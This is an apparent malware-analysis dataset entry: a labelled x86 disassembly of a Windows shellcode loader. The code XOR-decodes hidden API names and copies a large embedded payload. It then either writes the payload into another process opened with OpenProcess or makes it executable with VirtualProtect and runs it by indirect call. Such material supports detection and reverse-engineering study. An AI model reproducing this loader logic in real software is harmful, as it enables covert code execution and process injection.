Function at 0x4c91c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call fcn.0040cccc
mov dword [esp], 0x4d3024
call fcn.00413090
mov dword [esp], 0x4d3014
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x3c], esi
jne 0x4c921a
xor esi, esi
mov ecx, 0xd
lea edi, [eax + 0xa]
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov esi, 0x528dba
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c9272
lea ecx, [eax + 0xa]
mov esi, 0x76
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp edi, ebx
jne 0x4c9237
inc edx
jmp 0x4c9263
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c9243
add edx, 2
jmp 0x4c9263
cmp edx, ebx
jne 0x4c924d
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c9269
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c9259
add edx, 3
jmp 0x4c9263
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c9269
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c9228
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x83
jne 0x4c9228
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x4d3044
call fcn.00413090
mov dword [esp], 0x4d3034
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x40], esi
jne 0x4c92c7
xor edx, edx
mov esi, 0x528da2
lea edi, [eax + 0xa]
mov ecx, 0xd
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c931f
lea ecx, [eax + 0xa]
mov esi, 0x77
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c92e4
inc edx
jmp 0x4c9310
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c92f0
add edx, 2
jmp 0x4c9310
cmp ebx, edx
jne 0x4c92fa
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c9316
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c9306
add edx, 3
jmp 0x4c9310
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c9316
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c92d5
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x84
jne 0x4c92d5
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call fcn.0040189c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.004018b5
mov dword [ebp - 0x40], eax
mov dword [esp], 0x4d3064
call fcn.00413090
mov dword [esp], 0x4d3054
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x44], esi
jne 0x4c9381
xor edi, edi
mov esi, 0x528d8a
mov ecx, 0xd
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
lea edi, [eax + 0xa]
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c93d9
lea ecx, [eax + 0xa]
mov esi, 0x77
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c939e
inc edx
jmp 0x4c93ca
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c93aa
add edx, 2
jmp 0x4c93ca
cmp ebx, edx
jne 0x4c93b4
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c93d0
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c93c0
add edx, 3
jmp 0x4c93ca
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c93d0
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c938f
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x84
jne 0x4c938f
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call fcn.0040189c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.004018b5
mov dword [ebp - 0x4c], eax
mov dword [esp], 0x4d3084
call fcn.00413090
mov dword [esp], 0x4d3074
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
mov edx, eax
jne 0x4c943a
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 5
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x528d6a
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c9491
lea ecx, [edx + 0xa]
mov esi, 0x78
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9457
inc eax
jmp 0x4c9483
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c9463
add eax, 2
jmp 0x4c9483
cmp ebx, eax
jne 0x4c946d
mov eax, esi
xor byte [ecx], al
jmp 0x4c9489
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c9479
add eax, 3
jmp 0x4c9483
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9489
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9448
inc esi
inc ecx
mov eax, esi
cmp al, 0x8c
jne 0x4c9448
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.0040189c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.004018b5
cmp dword [ebp - 0x40], 0
mov dword [ebp - 0x50], eax
sete al
cmp dword [ebp - 0x4c], 0
sete dl
or al, dl
jne 0x4c94ce
cmp dword [ebp - 0x50], 0
jne 0x4c958e
mov dword [esp], 0x4d30a4
call fcn.00413090
mov dword [esp], 0x4d3094
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x3c], esi
jne 0x4c950f
xor ecx, ecx
mov esi, 0x528d2a
lea edi, [eax + 0xa]
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov ecx, 0x22
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c9567
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c952c
inc edx
jmp 0x4c9558
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c9538
add edx, 2
jmp 0x4c9558
cmp ebx, edx
jne 0x4c9542
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c955e
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c954e
add edx, 3
jmp 0x4c9558
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c955e
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c951d
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x9a
jne 0x4c951d
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp], 0x4d4aa0
mov dword [esp + 4], eax
call fcn.004c55a0
mov dword [esp], eax
call fcn.004c3dd0
or eax, 0xffffffff
jmp 0x4c9ba4
mov dword [esp], 0x4d30c4
call fcn.00413090
mov dword [esp], 0x4d30b4
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x3c], esi
jne 0x4c95cf
xor edx, edx
mov esi, 0x528cea
lea edi, [eax + 0xa]
mov ecx, 6
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c9627
lea ecx, [eax + 0xa]
mov esi, 0x78
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c95ec
inc edx
jmp 0x4c9618
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c95f8
add edx, 2
jmp 0x4c9618
cmp ebx, edx
jne 0x4c9602
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c961e
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c960e
add edx, 3
jmp 0x4c9618
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c961e
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c95dd
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x90
jne 0x4c95dd
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00401696
mov dword [ebp - 0x40], eax
mov dword [esp], 0x4d30e4
call fcn.00413090
mov dword [esp], 0x4d30d4
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
mov edx, eax
jne 0x4c9678
xor eax, eax
mov esi, 0x528cd2
mov ecx, 0xa
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c96cf
lea ecx, [edx + 0xa]
mov esi, 0x79
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9695
inc eax
jmp 0x4c96c1
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c96a1
add eax, 2
jmp 0x4c96c1
cmp ebx, eax
jne 0x4c96ab
mov eax, esi
xor byte [ecx], al
jmp 0x4c96c7
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c96b7
add eax, 3
jmp 0x4c96c1
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c96c7
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9686
inc esi
inc ecx
mov eax, esi
cmp al, 0x83
jne 0x4c9686
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401696
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x4d3104
call fcn.00413090
mov dword [esp], 0x4d30f4
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
mov edx, eax
jne 0x4c9721
xor edi, edi
lea eax, [eax + 0xa]
mov esi, 0x528cba
mov ecx, 3
mov dword [eax - 0xa], edi
mov dword [eax - 6], edi
mov dword [eax - 2], edi
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c9778
lea ecx, [edx + 0xa]
mov esi, 0x79
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c973e
inc eax
jmp 0x4c976a
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c974a
add eax, 2
jmp 0x4c976a
cmp ebx, eax
jne 0x4c9754
mov eax, esi
xor byte [ecx], al
jmp 0x4c9770
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c9760
add eax, 3
jmp 0x4c976a
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9770
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c972f
inc esi
inc ecx
mov eax, esi
cmp al, 0x85
jne 0x4c972f
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401696
mov dword [ebp - 0x54], eax
mov dword [esp], 0x4d3124
call fcn.00413090
mov dword [esp], 0x4d3114
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
mov edx, eax
jne 0x4c97ca
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 3
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, str.4_9_t
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c9821
lea ecx, [edx + 0xa]
mov esi, 0x79
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c97e7
inc eax
jmp 0x4c9813
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c97f3
add eax, 2
jmp 0x4c9813
cmp ebx, eax
jne 0x4c97fd
mov eax, esi
xor byte [ecx], al
jmp 0x4c9819
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c9809
add eax, 3
jmp 0x4c9813
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9819
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c97d8
inc esi
inc ecx
mov eax, esi
cmp al, 0x85
jne 0x4c97d8
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401696
mov dword [ebp - 0x58], eax
mov dword [esp], 0x4d3144
call fcn.00413090
mov dword [esp], 0x4d3134
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
mov edx, eax
jne 0x4c9873
xor ecx, ecx
lea eax, [eax + 0xa]
mov esi, 0x528c8a
mov dword [eax - 0xa], ecx
mov dword [eax - 6], ecx
mov dword [eax - 2], ecx
mov ecx, 3
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c98ca
lea ecx, [edx + 0xa]
mov esi, 0x7a
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9890
inc eax
jmp 0x4c98bc
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c989c
add eax, 2
jmp 0x4c98bc
cmp ebx, eax
jne 0x4c98a6
mov eax, esi
xor byte [ecx], al
jmp 0x4c98c2
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c98b2
add eax, 3
jmp 0x4c98bc
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c98c2
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9881
inc esi
inc ecx
mov eax, esi
cmp al, 0x86
jne 0x4c9881
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401696
mov dword [ebp - 0x44], eax
mov dword [esp], 0x4d3164
call fcn.00413090
mov dword [esp], 0x4d3154
mov ebx, eax
call fcn.00413090
cmp byte [ebx], 0
mov edx, eax
jne 0x4c991b
xor eax, eax
mov esi, 0x528c72
mov ecx, 0xb
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c9972
lea ecx, [edx + 0xa]
mov esi, 0x7a
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9938
inc eax
jmp 0x4c9964
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c9944
add eax, 2
jmp 0x4c9964
cmp ebx, eax
jne 0x4c994e
mov eax, esi
xor byte [ecx], al
jmp 0x4c996a
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c995a
add eax, 3
jmp 0x4c9964
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c996a
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9929
inc esi
inc ecx
mov eax, esi
cmp al, 0x85
jne 0x4c9929
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401696
mov dword [ebp - 0x5c], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [esp], 0x751b0
call fcn.004c8230
mov ebx, eax
mov edi, eax
xor esi, esi
mov eax, dword [esi + 0x515420]
mov ecx, edi
mov dword [esp], eax
call fcn.00401592
add esi, 4
add edi, 0x18
push eax
cmp esi, 0x13848
jne 0x4c99a1
lea eax, [ebx + 0x751b0]
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x30], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401917
jmp 0x4c9a25
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, eax
mov dword [ebp - 0x60], eax
sub edx, ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x48], edx
mov dword [esp], edx
call fcn.004c8200
mov esi, eax
mov eax, dword [ebp - 0x64]
mov ecx, esi
mov edx, dword [ebp - 0x60]
cmp eax, edx
je 0x4c9a57
mov dl, byte [eax]
inc ecx
inc eax
mov byte [ecx - 1], dl
jmp 0x4c9a47
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
or eax, ecx
mov ecx, dword [ebp - 0x54]
or eax, ecx
mov ecx, dword [ebp - 0x58]
or eax, ecx
mov ecx, dword [ebp - 0x44]
or eax, ecx
or eax, dword [ebp - 0x5c]
je 0x4c9aef
cmp dword [ebp - 0x40], 0
jne 0x4c9a9d
cmp dword [ebp - 0x3c], 0
jne 0x4c9aa3
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4c9aa3
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4c9aa3
test ecx, ecx
mov eax, ecx
cmove eax, dword [ebp - 0x5c]
jmp 0x4c9aa0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], 0x43a
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov edx, eax
test eax, eax
je 0x4c9b4a
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], esi
mov dword [esp], edx
mov dword [esp + 8], eax
mov dword [ebp - 0x3c], edx
call fcn.004017e1
mov edx, dword [ebp - 0x3c]
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x4c9b4a
lea eax, [ebp - 0x34]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x4c9b4a
xor edx, edx
xor ecx, ecx
mov dword [esp + 8], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov dword [esp + 4], ecx
mov dword [esp], ecx
mov eax, dword [ebp - 0x4c]
call eax
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [ebp - 0x50]
call eax
push eax
push eax
mov dword [esp], esi
call fcn.004c81d0
lea ecx, [ebp - 0x24]
call fcn.00485bd0
cmp edi, ebx
je 0x4c9b6a
mov ecx, ebx
add ebx, 0x18
call fcn.004a7450
jmp 0x4c9b5a
lea ecx, [ebp - 0x30]
call fcn.00485bb0
xor eax, eax
jmp 0x4c9ba4
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret